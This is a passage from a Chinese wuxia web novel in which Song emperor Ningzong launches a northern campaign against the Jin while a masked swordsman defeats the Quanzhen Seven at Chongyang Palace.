可相比于大到不知道从何收拾起的山河,此时的赵茵萝更关心的是自己这位老父亲一天比一天衰老的身体。 要知道自古以来,当皇帝的可没有几个长寿的,不管是自己玩死的,还是辛苦政务累死的。 这也让作为宋宁宗唯一女儿的赵茵萝,不由得一天天的担心着对方的身体。 “好好好。” 宋宁宗只是一个劲的查看着这失而复得的册子,就是这本小小的册子,差点就让他南宋朝廷不保,让他担心死后都不知道要如何面对苦心开创基业的先祖。 可在赵茵萝听来,自然是以为宋宁宗同意了自己请御医的要求,将对方重新扶到御座上,就吩咐了在门外的内侍,让他召御医来。 内侍一听是宋宁宗伤着来,也是惊恐不已,连忙朝着御医苑跑去,要知道作为当值的内侍,皇帝在自己的当值时间内出了任何问题,他可是都跑不了责任的。 就算是皇帝自己伤着的,可这里哪是他们讲道理的地方,责罚不说,降级,贬黜也是正常的,谁让你伺候的不周到呢。 等御医急匆匆来了,宋宁宗才从失而复得的喜悦中回过神来。 看着跪在下面的御医,先是有些疑惑,随机像是想起了什么,随手将《平戎策》放在一旁,索性让御医来给自己检查一下。 刚才因为心情激动,还不觉的什么,如今心情平复下来,那被撞到的地方,还是真酸溜溜的疼。 御医这里看看,那里按按的,随后的表情就像是松了一口气。 “启禀陛下,公主,官家的伤势并无大碍,只是有些淤血,未伤到筋骨,只要擦些药酒,不出三日便大好了。” 御医道。 第二百八十八章 北伐 御医的诊断让赵茵萝放下了心,其实以她的眼力如何看不出此时宋宁宗的状态,可是所有的子女对于上了岁数的父母总是有着一份不踏实的担忧,深怕自己的判断过于乐观,一定要个外人来告诉自己他们安好无恙,才能让自己真的放心。 “如此爹爹你就先休息吧,要是不着急的事物就按照大臣们的建议准了就是了。” 赵茵萝说着就要告辞而去。 “等等,那……那小子……如何了?” 宋宁宗意有所指,赵茵萝眼神中带着些悲戚的说道。 “人被救走了,但不一定能活。” “……” 宋宁宗沉默了许久。 “这样啊……” 赵茵萝退出了政事殿,她知道,相比于自己把赵令看着是儿时玩伴,自己的爹爹却是将对方当成亲近的后辈培养的,加上他一生无子,说不得内心就有几分情感的依托放在了对方的身上。 如今听到客死他乡的消息,如何能真的无动于衷,哪怕对方做了最伤他心的事情。 …… 在南宋拿回了《平戎策》之后,按道理说,应该是继续稳定发展,有序训练新兵才是的,可朝廷中缓缓透露出的氛围里却都是在积极备战。 难道不过这么几年的时间,这些家伙就忘了金国铁骑的残忍,忘了自己国家好不容易争取来的发展机会,在这样没有把握的情况下贸然的出兵北伐。 还是这些人有了什么把握,看到了什么以前不曾有过的希望,敢有这样的底气让他们跟金国叫板。 陈子云在家中与赵茵萝一起推演着两军交战之后的胜败之数,可不管他们推演多少次,结果依旧都是胜负难料四个字。 “哎,你这位爹爹难道真的等不了吗,按照韩侂胄的说法,这次朝廷的仓促兴兵,最少让本来的胜算降低了两成半,连他也猜不透为何你爹爹会如此执着。” “这次我爹得的决议确实很让人意外,不论我跟大伯如何反对,爹爹似乎都有势在必得的决心。” 赵茵萝也是皱着眉头叹息道。 “会不会是陛下有什么别的筹码,是我们没有想到的。难道是辛老练兵有成,可以与金国一战了?” 陈子云依稀的问道。 赵茵萝摇摇头。 “虽然我也佩服辛老的本事,可就算辛老手下的那些兵马个个都练的犹如神助,终究是太少了些。 两国交战,不是这几万人就能决定的,个个关隘的攻守,各个防线的准备,不是朝夕之间就能改变的事情。 我大宋与金国的差距是不可逃避的硬伤,除非金国发生不可逆转的变故,我们才有就会趁虚而入,否则……难啊……” “那陛下那边到底是怎么说的?” 陈子云的意思自然是肯定猜到,赵茵萝必然是私下里找过宋宁宗问过他这么冲动行事的缘由的。 可赵茵萝只是摇头,这让陈子云很是惊讶。 “怎么?” “他没见我。” “什么?” 陈子云有些不可置信的看着赵茵萝。 赵茵萝从怀里掏出一块军令。 “他只是命我为监军,不日随军出征,北伐。” 陈子云盯着那块看着就知道很是厚重的身份令牌,有些摸不透,这位宋宁宗到底是怎么个打算。 不仅仅仓促之间尽起大军,还把自己唯一的女儿派上前线去,实在是有些匪夷所思了。 “韩侂胄他们就没什么对策吗?” 陈子云缓缓的用手指敲着桌子问道,这表示他也在不停的思索,并且一时之间想不通其中的关窍才会有此习惯动作。 “大伯自然也是不赞同的,甚至朝廷中大多数都觉得,这样仓促的起兵北伐是不合适的,但是爹爹他这次确实一意孤行。” 赵茵萝担忧的说道。 “谁劝都不听?” 陈子云问道。 “嗯,连那些本来在家颐养天年的老臣都被请出来了,可爹爹还是硬着头皮非要启动北伐不可。 甚至有武将差点就在大殿上抹脖子里,爹爹也只是宽慰他,说他有致胜的法宝。 可他又不说到底是如何的安排,这样让那些老将如何能够信服,就怕爹爹是听信了谗言,要演绎汉末故事,将好不容易建立起来的一些盼头都给丢了去。” 赵茵萝愁肠百结。 陈子云也没有再说话,只是隐隐感觉到其中必然是有些他们忽略的东西。按照他对于宋宁宗的了解,对方绝对不会因为自己的一时兴起就将大宋江山作为赌注。 一定是有什么他们没有注意到的东西,而且是一样能决定宋金战争走向的东西。 可到底是什么呢?难道非要等到宋宁宗自己公布的时候,就怕到时候万一他估算失误就真的后悔莫及啊。 …… 南宋嘉定7年春,也就是公历1214年,宋宁宗不理会群臣的反对一意北伐,经过不到半年的调动,浩荡的南宋军队已经成列宋金边界,两国大战一触即发。 南宋尽起名将,文臣也是在这半年里呕心沥血的调度后勤物资,虽然他们都反对宋宁宗如此仓促的发动战争,可既然已经到了这一步了,自然不会在这个时候拖宋宁宗的后腿。 毕竟在这个时候的南宋朝廷中,主战派是处于绝对优势地位的,他们比任何人都渴望能北伐一战,直捣黄龙。 虽然他们嘴上说着宋宁宗有些仓促了,可内心说不得其实比对方更希望发动这场战争。 只是因为作为臣子的本分,必然是要为南宋考虑到万全才是的,可既然皇帝愿意抗下这发动战争的名分,那他们这些做臣子的还有什么好顾忌的。 所以在经历了将近半个月的朝局动荡之后,南宋展现出了无与伦比的效率,在这些彻底激起了战争热情的朝臣手中,整个帝国以超负荷的功率飞快的转动着。 也就是在这样的状态下,仅仅用半年的时间,其中还隔着一个春节,不论是军队还是后备力量,都有条不紊的按照规划陈列在了宋金边界上。 陈子云自然也是跟随着作为这场大战监军的赵茵萝一起来到了边境,跟着来的还有小荷跟陈子云的三个徒弟 第二百八十九章 沙盘 不错不仅是牛在我,连不到十岁的两个小家伙也一起跟来了,如今在赵茵萝的军帐中充当着门卫的角色。 经过这段时间的练习,两人的功夫基本算是入门了,加上陈子云不吝啬的提供各种强筋壮骨的药材,两人的身高也是两个月蹿一截,如今他们也最少有一米五六的高度了,不比军营里的一般士兵矮多少。 而且,不仅这两个小子来了,他们的那两个老子也来了,不过对方不是陈子云带来的,而是他们自己去征兵入伍主动参战的。 两人本来之所以避世隐居,无非也就是因为见不惯朝廷的不作为,对侵占了他们北方家乡的金国俯首称臣。 可如今南宋在宋宁宗的带领下,重新积极内政,对外重启雄风,如今更是挥兵北伐,他们作为有些报国理想的忠义之后,怎么能错过这样的盛事。 反正两个孩子都拜了陈子云为师,想来将来必然是比他们有出息的多,也没有了后顾之忧,自然有这份胆气为国出征。 就算是陈子云跟他们说,要带着两个小家伙来军营里见识见识,他们也是欣然答应。 至于说两个小子的安危,他们也是考虑过的。 赵茵萝作为大军的监军,是与中军主帅在一个行营的,要是连这里都不安全了,或者被敌军攻破了,那到时候整个南宋也就是没有什么安全的地方了。 覆巢之下无完卵,这不过是最简单的道理。 …… 宽阔的营帐内,牛在我带着两个师弟在风雨无阻的练习拳脚功夫,小荷在替准备开始处理公务的赵茵萝研墨,陈子云则是陪着赵茵萝梳理不断递上来的军情汇报。 虽然两军还没有正式的开打,可双方的斥候部队以及暗处的情报系统已经不知道交锋多少次了。 陈子云根据传回来的消息,不断的调整着面前这个巨大的沙盘上的敌我两军的具体布置。 一般的简易沙盘当然是早就有的,不过那些沙盘不过是简单的将山丘、河流、山谷这些地形粗略的标注出来而已,其实跟一般的地形图的差别还不大。 而陈子云如今制造的这一套沙盘却是精细到山上的每颗树木,每块大型的岩石,每条宽度大于一米的溪流。 这些细节的把控可以让任何一点地形的优势都能被宋军精确的把握住,别说这些东西不会影响一场大战。 很多时候,战场上的输赢不是因为兵将不精锐,而是因为一时的疏忽造成的,而这个疏忽很大的可能就是统帅在布置战局的时候,忽略了一条小河,或者是一处并不显然的山坳,而导致功败垂成。 而在这个不可能有远距离观察设备的时代,沙盘上每一处敌方小红旗的位置的确定,都是用一条条最精锐的斥候的性命换回来的。 只要他们能通过计算快一步确认敌方的具体布置,这就意味着那些将脑袋放在马屁股上的斥候跟暗探就多一分活着回来的希望。 战争最残酷的时候,往往不是两军对垒厮杀的时刻,而是那些默默的牺牲在不知道战场上哪个角落里的人物。 他们甚至在厮杀的时候都不能使劲的叫喊,只能沉默着割断敌人的咽喉,或者等着被敌人割断。 “如果对方是在这个峡谷扎营,那第六小队就不应该在这里遇见对方的探子。” 陈子云拦住了赵茵萝想将一个代表红色小旗帜插入一个峡谷的打算。 “为什么不是呢,根据带回来的消息,他们确实是看到了炊烟与营帐,而且这里背山迎水,可攻可守,确实是一个兵家要地。” 赵茵萝不同意陈子云的看法,坚持己见。 “不对,这里虽然是能驻扎,可你不觉得,这里更适合作为一个埋伏的地点吗。 一旦有敌人过河来偷袭,只要他们将军队藏在山上,来个半渡而击,实在是再好不过的请君入瓮之地。” 陈子云指点这沙盘上的地形解释着。 “不对……” 赵茵萝也再次陈述自己的理由。 这样的讨论跟争辩,一天起码要进行五六次,一开始小荷跟三个弟子还会担心两人会因此不合,好心的劝上两句,可当他们明白,这不过是自己姑姑姑丈师傅师娘的常规操作之后,就都只是自顾自的做事,不再理睬了。 赵茵萝作为监军,按理说是只有监督之责并无指挥军队之权,但是作为南宋长公主,加上这些年的听政时表现出的才能。 赵茵萝的权威,在军中也是不可小觑的,所以每天军帐中举行高级议会,都会提前来请她过去旁听。 而那些参会的将领也都知道,赵茵萝在军事方面的天赋惊人,尤其是如今在军中重要将领军帐中都配置着的一套精致沙盘就是这位公主提供的。 那是仿照陈子云那套沙盘做的微缩版本,足够赵茵萝将自己得出的战略结论在对方的面前演示一遍。 也正是见到了如此详尽的战争模拟,将打仗变的好似游戏一般,才让所有将军对赵茵萝刮目相看。 正所谓外行看热闹,内行看门道。所有有过战场指挥经验的将军都知道,这一套沙盘,对一场战役的影响。 单单凭借让人清晰的认识到战场中的种种地形变化,这一信息在如今这个时代的战争中简直就是神迹的存在。 古来的战争要领都有天时地利人和的说法,而有了这沙盘,战场之内的所有地利就都逃不出他们的眼睛了。 而天时跟人和,那不过是运气跟平时的准备。 一个无法违抗,一个需要日积月累,其实在真正久经沙场的武将眼中,地利才是他们真正能在战场上做文章的地方。 所有的计策,都要配合着特殊的地形才能施展。古玩经来的那些奇谋险计哪个不是根据当时的特殊地形才能施展的。 这也是说天下没有任何一场战争是重复的原因,你在一个地方可以运用的如神来之笔的策略,换个地方照搬照抄,可能就是自取灭亡的混账计策了。 而有了这个沙盘存在,那方圆百里的地形细节都仔细不过的展现在眼前,只要敌方敢进来,那我方的胜率就已经先得了三层。 当然要得到这样详尽的作战地形沙盘,自然是以无数性命为代价的。 而且这些年来,也就是在子虚付出了数不尽的鲜血后,也就堪堪绘制了宋境边界的这一代地形。 这也是宋军迫不及待的率先布置战场,让金国好按照自己的预测那样陈兵的原因。 因为一旦金国退城而守,引诱他们深入腹地,那这张方圆百里的沙盘地形图就等于是白白浪费了。 第二百九十章 全真教的难处 “孙子曰:地形有通者,有挂者,有支者,有隘者,有险者,有远者。我可以往,彼可以来,曰通;通形者,先居高阳,利粮道,以战则利。可以往,难以返,曰挂;挂形者,敌无备,出而胜之;敌若有备,出而不胜,难以返,不利。我出而不利,彼出而不利,曰支;支形者,敌虽利我,我无出也;引而去之,令敌半出而击之,利。隘形者,我先居之,必盈之以待敌;若敌先居之,盈而勿从,不盈而从之。险形者,我先居之,必居高阳以待敌;若敌先居之,引而去之,勿从也。远形者,势均,难以挑战,战而不利。凡此六者,地之道也;将之至任,不可不察也。” 《孙子兵法》的地形篇第十早就说明了地利的重要性,如今南宋在这方面却是摇摇领先了。 这样的军事会议陈子云自然是没有资格参加的,虽然他如今是驸马,可驸马也并没有这样的权利。 就算他是韩侂胄的弟弟,出现在这样的军事会议上也是不被接受的,所以每次基本都是赵茵萝回去之后,将大致的会议内容跟陈子云说一遍,然后两人再逐个的分析,提出各自的见解跟看法。 当最终的战略方案定下,陈子云就离开了军营,对于大规模的战阵,就算他武功再高也是起不了什么作用的。 除非是对方的统帅真的出现在战场之上,能给陈子云如杨过杀蒙哥那般的机会,他倒是愿意试一试万军从中取上将首级的壮举,可惜,不管是敌军统帅,还是南宋的统帅,都不可能直接到战场上去显摆,他们都会老老实实的待在城寨之中,被护卫的死死的。 他们要做的是定好策略之后,由各个部下去执行,而他则是时刻分析战场上的变化,随时准备调整各处的兵力的匹配。 想想就知道,在这个没有能统括战场细节的设备的时代下,统帅也不过是是一双肉眼看世间,在动则几万人的战场上,你认为一个站在战场中的统帅真的能看清楚什么东西吗? 只有在军长中分处各处的号令兵传来的信息,再统合战场总体形式分析之后,发送给各部才是他应该干的事情,简称统筹。 …… 大战将起,陈子云此时却是孤身一人离开了军营,在军营里他最多是一个帮着赵茵萝出谋划策的狗头军师,而到了江湖里他却是能翻江倒海的天下第六了。哈哈,他如今倒是挺喜欢这个称呼的,毕竟是六啊。 终南山山重阳宫中,做完早课的全真七子分为两列,人数少的一边是丘处机跟王处一,两个全真七子中性格比较急躁的似乎在对着另一侧的五人情绪激动的说着些什么。 而另外一边的谭处端、郝大通、刘处玄以及唯一的坤道孙不二都将目光望向作为全真七子领军人的马钰。 可这位本来就是以好脾气着称的丹阳子,如今对于两位师弟的责问却只是讷讷无言。 这样的场面已经不知道在重阳宫中上演了多少次了,自从南宋主动做出北伐的姿态,丘处机就直接提出要帮助宋军,甚至要亲自入军营效力。 而后面,随着南宋的士气越来越旺盛,连本来只是持观望态度的王处一也被自己的这位好战的师兄给说动了,就开始站在丘处机的一边开始劝说马钰。 可马钰作为全真教如今的掌教,如何能轻易答应两人,一旦丘处机出现在南宋军营,那不就是明摆着要跟金国闹掰吗。 虽然如今金国为了应对南宋的北伐,没有功夫对付他们全真教,可一旦战事结束,那到时候调转枪头来,对于身在金国腹地却怀恋南宋的全真教不用想就知道是个什么下场。 况且,宋金这一战,基本在大多数人眼中,南宋要赢的概率实在不大。 你要是说反过来,金攻宋守,那凭借这高墙大城,南宋还有可能抵挡得住金国的铁骑。 可如今却是南宋为主攻方,那就是意味着南宋的军队将在平原上面对金国的铁骑冲击。 就算他们作为江湖人,那也是知道金国铁浮屠的威力的,怎么可能是南宋那种步兵为主的军队能抵挡的了的。 可在丘处机看来,不管南宋如何,他们身为宋人,两国交战,他们不能就此袖手旁观。这样做,一是对不起亡故的先师,王重阳一生都致力于抗金,如今有了这样的机会,他们这些做弟子的怎么能不为祖国尽一份力。 二来,他们全真教如今地处金国,身份尴尬,要是南宋能将国界往北推进,那终南山作为他们的祖庭,能回归南宋也是人生幸事。 所以不管于公于私,在丘处机看来,他们全真教都必须站在南宋一方,这是不可辩驳的事实。 可在马钰看来,恩师王重阳好不容易创建了全真教,如今传到他手上不过是再传,如今世间动荡,他作为一教之主,保存传承才是他的第一责任。‘ 至于南宋与金国的争端,他们不过是一群出家的道士,既然出家修行了就不应该在牵扯在俗世中,免得全真教里外不是人。 可面对自己师弟的苛责,好脾气的马钰也只是一味的忍让,没有拿出掌教的威严压他们行事。 “本来我还准备找你丘处机兴师问罪的,听到这些话,倒是不好再责怪你了,至少你的心里还当自己是宋人,好的很呢。” 一声不知从哪里传来的声音响彻整个重阳宫,似乎很近,可留心一听却发现其实很远。 “掌教,不好了,有人闯山啊!” 殿外的弟子大声的呼唤着报告突发情况。 全真七子相互对视一眼瞬间明白了,刚才千里传音的那位高人,怕就是闯山而来的这位了,就是不知道对方到底是什么人物,功力如此非凡。 如今全真教第一人的师叔周伯通又不在山上,不知道靠他们七个能不能挡得住对方。 第二百九十一章 黑袍人 此时就算是丘处机也顾不得跟自己的大师兄争论帮不帮南宋了,面对全真教的劫难的时候,他们七人自然是团结一心对外的。 “站住!” “重阳宫重地,不得擅入!” “啊,你!” 殿外传来了弟子们的惊呼声,丘处机第一个待不住,提着宝剑就要往外冲出去。 “啪!碰!” 殿中的大门直接别人从外面用重力道拍开,殿内的全真七子齐刷刷的看向闯进来的人影。 一身黑袍,连脸面都藏在帽子之下,完全看不出对方到底是何方人物。 跟随这进来的全真教弟子,早就已经宝剑出鞘,全都戒备着看着这位神秘的不速之客。 “来者何人,强闯我全真教,当真当我教中无人吗!” 丘处机第一个站出来指着黑袍人斥责道。 “人?倒是看到不少,就是不知这偌大的天下第一大教,是宋人多些,还金人多些?” 黑袍人的语调中充满着讽刺。 …… 沧浪一声,丘处机直接拔剑出鞘。 “好贼子,竟然敢在重阳宫中出言不逊,要是再敢放肆,小心贫道手中利剑。” “哦,吼吼……” 黑袍人怪笑一声。 “全真教不愧是天下第一教派,这派头实在是大的很,连话都不让人说了,真把自己当这殿中的泥塑神仙了?!” “你……” 丘处机怒目圆睁。 “丘师弟,不得鲁莽。” 马钰见丘处机就要忍不住出手了,连忙上前制止他。 “不知这位不愿意透露身份的阁下,来我重阳宫中可是有何事指教?” 黑袍人那遮住脸面的帽子轻轻的晃动了一个角度,明显是在打量这位出来做和事老的全真教当代掌教。 随后又是轻轻的点点头。 “不错,王重阳将这掌教之位传给你倒是没错的。虽然武学上你是差了些天赋,但是以你的天性,足够保全真教传承百年不断。” 黑袍人这话说的很是大胆,要知道如今的全真教作为曾经天下第一人留下的道统,早就有了天下第一教的威望。 而马钰作为这天下第一教的掌教真人,可以说句是天下第一掌教也是不错的。而黑袍人竟然以指点晚辈的态度,对马钰如此评头论足,实在是…… 所以,此时已经不单单是丘处机对这位来者不善的黑袍人怒目而视了,连全真七子中的其他几人都朝着黑袍人踏出了一步,这明显是在警告对方,要是对方再这么口无遮拦他们就要予以还击了。 “多谢阁下美誉,贫道自知资质有限,无德无才,本不该接受这掌教之位,可先师垂帘,贫道实在是临危受命,不敢推却。” 马钰反而表现的比所有人都平静。 “无德无才?” 黑袍人缓缓的点头。 “不错,你倒是有些自知之明的。宋金即将大战,不思报效故国,却只想躲在这洞天福地里偷安,确实无德。 自己师弟有心报国,你却模棱两可,犹豫不决,自然也是无决断之才。哎,可怜了那一心抗金的王重阳了,收了些弟子却是这般继承他的遗志的。” “狂徒,看剑!” 丘处机听着黑袍不但侮辱自己师兄,还带着把先师王重阳都带进去了,以他的脾气如何还能忍得住。 出手就是自己最拿手的全真剑法里的一招大江似练,直指黑袍人的心口要隘。 “师弟,不可。” 马钰还想阻拦,可丘处机的剑法如今已经在他这个师兄之上,又是突兀的出手,如何还能拦得住。 而其他的几位本就对这位不请自来的神秘人物满是戒备,如今丘处机出手,正是想着试探一番也好。 他们对于丘处机的了解,虽然对方性格冲动,但也不会真的滥杀无辜,要是这位黑袍人只是嘴上不饶人,那自然也会在紧要关头收手。 要是对方是个深藏不露的高手,那么试探一番对方的武功路数,也好判断对方对于全真教的真实态度。 可还没等他们猜测丘处机会在几招之内试探出对方的来路,让他们不可置信的一幕发生了。 那个黑袍人竟然以同样一招全真教剑法,同样是大江似练,同样直指丘处机的胸口。 “呀!” 就是老练如丘处机,在见到对方这一招熟练不下于自己的一模一样的剑招之 后也下意识的发出了一声惊呼。 随后连忙变招,一招疏星淡月转攻黑袍人头顶,相比于刚才的试探,这招明显的就多了几分杀伐之气。 可让丘处机睚眦俱裂的事发生了,对方同样以一招疏星淡月回击,并且后发先至,也是直取他的头顶。 丘处机要是不收招,那在他伤到对方之前,自己的脑袋就有开花的风险,无奈,只好再次变招,以一招聚万落千回守自身。 可让丘处机气恼的是,对方竟然也收回了手中长剑,同样原地一画,一招聚万落千,可既然丘处机已经化攻为守,对方自然没有出这一守招的必要。 对方如此行径无非就是在展示对方的全真剑法不在自己之下,这让丘处机感觉比自己挨了对方一剑还要屈辱。 可他丘处机什么时候是服输的个性,既然对方自认为在全真剑法上不输他这个王重阳嫡传弟子,那他自然是要好好跟对方比划一番。 春意阑珊、西风残照、细斟北斗、塞下秋风、斜风细雨…… 一招连着一招的全真剑法从丘处机的手中变化而出,作为如今全真教剑法第一人,就是作为掌教的马钰也是佩服他这位师弟的剑法深得师傅的三分真传,平时他们师兄弟切磋也是一向以丘处机的剑法为最。 可当那个黑袍人,以不输丘处机的剑法套路,在速度上甚至还要更块一分的使出全真剑法的这些招式,所有的其他全真七子,都被惊吓的魂不附体。 哪怕是那位行踪不定的师叔周伯通,在剑法的造诣上怕也没有到这般的境地。 “师傅?是您老人家回来考校弟子了吗?” 孙不二作为女子,比其他几人表现的更加感性一些,以为是他们那位亡故的师尊,王重阳重返阳间,来指点他们修行来了。 第二百九十二章 以剑对剑 “师妹,不可胡言。” 马钰赶紧制止了自己这位曾经的结发妻子,如今的师妹胡言。 不管这位神秘的黑袍人到底是何方神圣,但绝不会是他们的师傅,就算是师傅真的修道有成,重返人间,也不会是这般摸样。 他们的师傅是何许人也,做事从来都是光明正大,绝不会这般的藏头藏尾,如此行径,绝非君子所为。 一套全真剑法,七剑七式,总计七七四十九招,被丘处机与这神秘的黑袍人展示的淋漓致敬。 一开始基本上都是丘处机出一招,那人就跟着出一招,而且往往这一招相比较来看,那黑袍人的招法似乎更加的精妙。 而随着剑法的不断展示,丘处机的性情缺陷也逐渐的暴露了出来。招式越发的暴躁,虽然使出了一些全真教的不传之秘,像一气化三清与同归剑法这类更加玄奥的剑法,可这些剑法本来就是杀伐之气过重的,如今丘处机使来,简直是有些难以自持,更加助长了胸中的愤懑之气。 此时的丘处机在马钰看来,完全脱离了出家人的修养之心,暴虐之情占据了他的心胸。 简直就像是出道入魔了。 “师弟!” 马钰一声爆喝。 他本想以此打断丘处机越发癫狂的剑招,可此时的丘处机哪里还能听到外界的声音,此时的他完全沉浸在自己手中层出不穷的剑招中。 他练剑二十年,从未体会剑法会这般的流畅,本来还在打磨间断的一气化三清,如今使用出来,就像是行云流水一般的顺畅。 一遍,两遍,三遍……这样的畅快简直是着世间最大的幸福体会,似乎此时的丘处机眼中只有剑法,心中也只想把这剑法不断的展示,这胸中的一气似乎真的就将化作三清,直飞天际。 “荒唐!” 黑袍人一声爆喝,随即一剑击在丘处机的剑上,宝剑顿时断成两节,本来是难得的百炼之兵,却挡不住对方的一剑。 “你?” 丘处机似乎如梦初醒,不知道为何自己会从刚才的奇妙体会中跳出来,又似乎有些记不得这打断了自己的黑袍人究竟是谁。 “我?” “师弟?” “丘师兄?” “师兄,你是不是入魔了?” “……” 全真七子虽然并不都是武功卓绝之辈,但是在王重阳的教导下,对于走火入魔这四个字还是有些认识的。 按道理说,他们本来作为出家的道士,是最不应该出现这样的问题的,可丘处机由于自己性格的问题,出现这样的情况,倒也不是不能接受。 “我?入魔了?” 丘处机松开手中的剩下的半截短剑,叮铃声中,剑落地。 “你到底是谁?为何会我全真绝学?” 丘处机第一个问题还是抓着黑袍人不放,似乎这已经成了他的执念。 “呵呵呵……” 黑袍人又是一阵怪笑。 “全真绝学?你们真的以为这些就称得上是全真教的绝学了,先天功呢,天罡北斗阵呢?” “你如何知道这些?” 这下连马钰这位速来冷静的全真教掌教也忍不住了,先天功是王重阳毕生所创之最强绝学,而天罡北斗阵时先师留给他们用来对付五绝人物的杀手锏。 别说是一般人,就算是全真教的真传弟子也不知道他们还有这些功夫,如今却被一个不知根底的外人一语道破,这让他们全真教的情何以堪。 “重要吗,不过是些匹夫之勇的武功而已,如的全真教连自己祖宗是谁都忘记了,就算有再威风的绝学留下来,你们又你能如何?不过是教出一群数典忘祖之辈而已。” 黑袍人朗声道。 “也不知道王重阳会不会气的从棺材里跳出来。” “大胆!” 全真七子的其余几人终于是听不下下去了,纷纷拔出剑来,将黑袍人围在中间。 “哦,天罡北斗阵?那就让我见识见识,你们到底从王重阳那里学到了几分风采。” 黑袍人竟然不将这全真教教镇教绝学放在眼里,实在是有些不知轻重,这可是就算是当今的五绝来了也要慎重对待的阵法。 “阁下要是此时退去,我全真教绝不纠缠。” 马钰此时也是神情严肃,孙不二已经将剑递给了他,在面对维护全真教名誉的关键时刻,他这个掌教真人自然是责无旁贷的。 “杀。” 本来早就红眼的丘处机,似乎没听懂自己掌教真人的意思,直接换了一把长剑上前,率先杀向给了他羞辱的神秘黑袍人。 而其他的全真七子,自然只能跟上,天罡北斗阵,一星动,其他星辰自然也要跟着闪烁变动。 要不然阵不成阵,那就真的要被对方破阵于前了,这自然是任何一个全真教弟子都无法接受的。 七把长剑根据北斗星宿的站位,从不同的角度,以不同的方式攻向黑袍人,明明用的都是同样的全真剑法,可经过这阵法的切换,就好比是一个高人长出了无数的手臂,从西面八方攻来。 “好!” 黑袍人似乎没有懊恼,甚至对于自己被这天罡北斗阵围攻,还有些兴奋之意。 “叮叮……铛铛铛……” 剑刃相交之声不绝于耳。 全真七子的身影也在重阳宫中翻飞不定,自从他们习得师尊秘传的天罡北斗阵法以来,这还是第一次他们全力对敌。 而本以为能一举将敌人拿下的众人,却发现,虽然他们七人都发挥出了远超平时的功力,再加上阵法的加强,本来应该势如破竹的局面却并没有发生。 反而随着不断的交手,全真教七子体会了越来越沉重的压力,好像对方正在越来越熟悉他们的进攻方式。 “天罡北斗?嘿……” 黑袍人竟然在他们全真七子如此密集的围攻之下,竟然还有余暇开口说话,这简直就是对他们最大的侮辱。 “不过如此。” 这句话直接就把连马钰在内的七人一齐点炸了,对方实在是欺人太甚。 “死!” 丘处机几乎是越众而出,一剑直指黑袍人的咽喉。 “王重阳,且看我破你阵法。” 黑袍人大喝一声,直接一脚踢在自己乱了阵脚的丘处机身上,随后又连出三剑,将上前救援的全真七子逼退。 第二百九十三章 天罡北斗 一把扼住身形被踢的不稳的丘处机的咽喉,随手打掉他手上的利剑,用他是身体挡下其他几人的进招。 “王重阳啊,王重阳,当时我就说过,你这个阵法,对付君子还行,要对付小人,难呢!” 黑袍人看着已经自乱正脚的全真七子,摇头叹息道。 随手将已经被不知道是憋的还是气的满脸红色的丘处机丢到了全真七子前面。 “你们啊,都放些心思在练武功上吧,你们现在还能靠王重阳的余荫撑起一个天下第一大教,可当你们也百年之后,这偌大的全真教还能去靠谁。 三代而亡,难道你们准备学先秦故事?” …… 全真教重阳宫中一阵沉默,全真七子大多数都是因为被对方轻易破去了引以为傲的天罡北斗阵而无法接受,还有就是被黑袍人三代而亡这几个字给镇住了。 要是换做是别的任何人,敢这般的诅咒他们全真教,自然只会激起他们全真七子的敌视,并不会真的相信对方的妄言。 可面对这位深不可测的神秘黑袍人,对方在挥手投足间就打发了他们七人,简直就是跟他们那位至强的先师也不遑多让了。 从这样的人物口中说出的话语,自然是让他们不得不慎重考虑。 “多谢前辈指教,马钰在此谢过。” 马钰作为全真教掌教以及众人的大师兄,此时表现的也是最符合身份,面对这位神秘人物,把自己的姿态放的很低,一派大度能容的宽厚度量。 “谢?谢我?马钰啊马钰,这天底下没有被人教训了一顿还要道谢的道理,你啊……” 黑袍人似乎并不接受马钰的好意谦让。 “哼,我全真教虽然技不如人,但也容不得你这般的羞辱,大不了再拼一场。” 孙不二见马钰受辱,没好气的又横剑在前,眼睛里满是怒意,她对于马钰的感情终究与别的师兄弟不同。 除了马钰跟还躺在地上一时起不来的丘处机,众人听到孙不二如此说话,自然也就同样持剑在胸,神情戒备。 “师妹……” 马钰一把拉住了神情激动的孙不二,用眼神制止她乱来。 “哈哈哈,难怪你马钰遇事不决至如此,原来你本是女大当家的啊,哈哈哈……” 黑袍人意有所指的看着马钰跟孙不二两人,眼中想嬉笑之情不言而喻。 “算喽,算喽,全真教能在你手里保全,想来也是能安王重阳的心的,何必勉强你们呢。 宋金之战,跟你们这些躲在山里修行的老少神仙,自然是最不相关的。 那就好好待着吧,别辜负了王重阳的这一番苦心。“ 黑袍人说完就突然回身走了,好像他来此就是为了挖苦跟嘲讽一遍重阳宫似的。 可不管是沉着冷静的马钰,还是性格暴躁的丘处机,都想不明白,对方到底是意欲何为。 以对方神乎其技的手段,他们心里实际上都清楚,要是对方真的想下狠手,他们几人能做的无非就是以身殉教。 可诡异的是,对方出手教训了他们,却又临时放弃了,这让他们就好像本来做错了事情,长辈正要大骂一顿却又突然住口。 这样的场景,几人感觉到的不是劫后余生的庆幸,反而有些自己似乎要被哀大莫过于心死的家中长辈彻底放弃的悲哀。 “师兄,天罡北斗阵真的败了吗?” 丘处机半躺在地上,仰着头望着大殿的穹顶,眼神无力,神情凄楚的问着马钰。对于把王重阳当神人一般崇拜的他,可以接受自己的功夫不如人,却无法接受师尊留下来的无敌阵法被人这般轻易的破去。 “……” 马钰没有说话,他当然知道此时应该好好劝慰一番这位练武成痴的师弟,可他此时也一时不知道该如何解释。 “不,败的不是天罡北斗阵,是我们自己学艺不精,要是师傅或者师叔施展这套阵法,天下间何人可破。” 王处一出声道。 “不错。” “师弟说的不错。” “……” 其余几人也是应声附和。 丘处机颤抖着嘴唇,本想跟着师兄弟们一起点头,可这轻轻的一句话却怎么都说不出口。 没错,按照王处一的说法自然是没有错的,可这天下间哪里有需要先师王重阳用阵法对付的人物。 本来就是无敌的华山论剑,天下第一。 这阵法不就是他们这位恩师,担心他们武功不济,对付不了那些入天下五绝那般的绝顶高手,才留下来给他们,作为镇教的依仗的吗? 如今被人这么简简单单的破去,甚至连对方的身份都无法确认,那这套本来应该无敌于世的阵法还有什么可自持的。 丘处机突然发现,自己眼前这座引以为傲的重阳宫,一下子就成了空中楼阁,无根之萍。 似乎只要来一阵大一些的风,就能把他们师兄弟几人苦心经营的恢宏宫殿一口气给吹走似的。 “丘师弟,不要多想,天下间能人无数,我们全真教输得起。” 